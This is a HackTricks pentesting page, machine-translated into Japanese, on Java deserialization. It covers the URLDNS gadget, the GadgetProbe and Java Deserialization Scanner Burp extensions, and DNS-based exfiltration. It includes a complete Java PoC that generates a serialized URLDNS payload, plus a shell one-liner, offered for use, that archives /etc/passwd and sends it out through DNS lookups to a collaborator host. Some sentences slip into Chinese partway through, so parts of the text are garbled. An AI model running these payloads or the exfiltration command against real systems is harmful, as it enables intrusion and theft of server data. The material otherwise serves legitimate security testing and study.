hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md

12 KiB
Raw Blame History

Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法

DNS request on deserialization

クラスjava.net.URLSerializableを実装しています。これは、このクラスがシリアライズ可能であることを意味します。

public final class URL implements java.io.Serializable {

このクラスには興味深い挙動があります。ドキュメントによると、「2つのホストが同等と見なされる条件は、両方のホスト名が同じIPアドレスに解決される場合」です。
そのため、URLオブジェクトが**equalsまたはhashCodeいずれかの関数を呼び出すたびに**、IPアドレスを取得するためのDNSリクエストが送信されます。

URLオブジェクトから**hashCode関数を呼び出すことは非常に簡単で、このオブジェクトをデシリアライズされるHashMap内に挿入すれば十分です。これは、HashMapreadObject**関数の最後にこのコードが実行されるためです:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

それはHashMap内のすべての値とともにputVal実行します。しかし、さらに重要なのは、各値でhashを呼び出すことです。これがhash関数のコードです:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

如何観察,HashMapデシリアライズすると、関数hash各オブジェクトで実行されhash の実行中にはオブジェクトの.hashCode() が実行されます。したがって、URL オブジェクトを含む**HashMap** をデシリアライズすると、URLオブジェクト.hashCode()実行します。

次に、URLObject.hashCode() のコードを見てみましょう:

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

如何見到,當一個URLObject執行.hashCode()時,它被稱為hashCode(this)。接下來你可以看到這個函數的程式碼:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

以下のように、ドメインに getHostAddress が実行され、DNS クエリが発行されます。

したがって、このクラスは、デシリアライズが可能であることを示すためにDNS クエリを発行するために悪用される可能性があり、情報を外部に漏洩するためにも使用できます(コマンド実行の出力をサブドメインに追加することができます)。

URLDNS ペイロードのコード例

ここから URDNS ペイロードコードを取得できます。ただし、コードの作成方法を理解しやすくするために、ysoserial のものを基に独自の PoC を作成しました:

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

より詳細な情報

GadgetProbe

Burp Suite App Store (Extender) から GadgetProbe をダウンロードできます。

GadgetProbe は、サーバーの Javaクラス が存在するかどうかを調べ、それが 既知の脆弱性 に対して 脆弱 かどうかを知るために使用されます。

動作原理

GadgetProbe は、前のセクションの DNSペイロード を使用しますが、DNSクエリを実行する前に 任意のクラスを逆シリアル化しようとします任意のクラスが存在する 場合、 DNSクエリ送信 され、GadgetProbe はこのクラスが存在することを記録します。 DNS リクエストが 送信されない 場合、これは 任意のクラスが正常に逆シリアル化されなかった ことを意味し、それは存在しないか、 シリアル化/悪用可能 ではないことを示します。

GitHub内には、GadgetProbeにいくつかのワードリスト があります。

https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif

より詳細な情報

Java Deserialization Scanner

このスキャナーは、Burp App Store (Extender) から ダウンロード できます。
この 拡張機能 には パッシブ および アクティブ機能 があります。

パッシブ

デフォルトでは、すべてのリクエストとレスポンスを パッシブにチェック し、 Javaシリアル化のマジックバイト を探して、見つかった場合は脆弱性警告を表示します:

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

アクティブ

手動テスト

リクエストを選択し、右クリックして Send request to DS - Manual Testing をクリックします。
次に、Deserialization Scanner Tab --> Manual testing tab 内で 挿入ポイント を選択し、テストを実行します(使用されているエンコーディングに応じて適切な攻撃を選択します)。

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

これが「手動テスト」と呼ばれているにもかかわらず、かなり 自動化 されています。Webサーバーに存在するライブラリをチェックし、脆弱なものを強調表示します。 脆弱なライブラリ をチェックするには、 Javas SleepsCPU 消費を介した sleeps、または以前に言及されたように DNS を起動することができます。

悪用

脆弱なライブラリを特定したら、リクエストを Exploiting Tab に送信できます。
このタブでは、再び 挿入ポイント を選択し、 作成する脆弱なライブラリコマンド を入力し、適切な Attack ボタンを押すだけです。

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Java Deserialization DNS Exfil 情報

ペイロードを以下のように実行するようにしてください:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

より詳しい情報

htARTE (HackTricks AWS Red Team Expert) htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法: